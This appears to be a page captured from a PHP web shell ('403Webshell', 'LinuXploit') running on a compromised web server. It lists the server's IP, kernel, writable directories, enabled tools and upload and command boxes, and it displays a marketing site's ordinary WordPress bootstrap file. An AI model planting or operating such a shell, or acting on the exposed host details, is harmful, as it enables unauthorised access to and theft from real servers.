403Webshell
Server IP : 157.230.181.24  /  Your IP : 216.73.217.11
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux conductive 6.8.0-117-generic #117-Ubuntu SMP PREEMPT_DYNAMIC Tue May 5 19:26:24 UTC 2026 x86_64
User :  ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/vhosts/conductivemarketing/bootstrap/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/conductivemarketing/bootstrap/autoload.php
<?php

	/*----------------------------------------------------*/
	// Paths
	/*----------------------------------------------------*/
	$rootPath    = dirname(__DIR__);
	$webrootPath = $rootPath . DS . 'public';

	/*----------------------------------------------------*/
	// Composer autoload
	/*----------------------------------------------------*/
	if(file_exists($autoload = $rootPath . DS . 'vendor' . DS . 'autoload.php')) {
		require_once $autoload;
	}

	/*----------------------------------------------------*/
	// Environment configuration
	/*----------------------------------------------------*/
	/*
	 * Locations
	 */
	if(file_exists($locations = $rootPath . DS . 'config' . DS . 'environment.php')) {
		$locations = require_once $locations;
	}
	else {
		die('Unable to find your environment.php setup file.');
	}

	/*
	 * Define environment file
	 */
	$location = new \Thms\Config\Environment($locations);
	$location = $location->which(gethostname());
	$file     = empty($location) ? '.env' : ".env.{$location}";

	/*
	 * Load environment
	 */
	$env = new \Dotenv\Dotenv($rootPath, $file);
	$env->load();
	$env->required(['DB_NAME', 'DB_USER', 'DB_PASSWORD', 'DB_HOST', 'WP_HOME', 'WP_SITEURL']);

	/*
	 * Load environment configuration
	 */
	// If .env file selected, default its location to local configuration.
	$location = ('.env' === $file) ? 'local' : $location;
	if(file_exists($config = $rootPath . DS . 'config' . DS . 'environments' . DS . $location . '.php')) {
		require_once $config;
	}

	/*
	 * Include shared configuration
	 */
	if(file_exists($shared = $rootPath . DS . 'config' . DS . 'shared.php')) {
		require_once $shared;
	}

	/*----------------------------------------------------*/
	// Error handling
	/*----------------------------------------------------*/
	if(defined('THEMOSIS_ERROR') && THEMOSIS_ERROR) {
		$whoops = new \Whoops\Run();
		$whoops->pushHandler(new \Whoops\Handler\PrettyPageHandler());
		$whoops->register();
	}

	/*----------------------------------------------------*/
	// Constants
	/*----------------------------------------------------*/
	define('THEMOSIS_STORAGE', $rootPath . DS . 'storage');
	define('CONTENT_DIR', 'content');
	define('WP_CONTENT_DIR', $webrootPath . DS . CONTENT_DIR);
	define('WP_CONTENT_URL', WP_HOME . '/' . CONTENT_DIR);

	define('WPCF7_ADMIN_READ_CAPABILITY', 'manage_options');
	define('WPCF7_ADMIN_READ_WRITE_CAPABILITY', 'manage_options');

Youez - 2016 - github.com/yon3zu
LinuXploit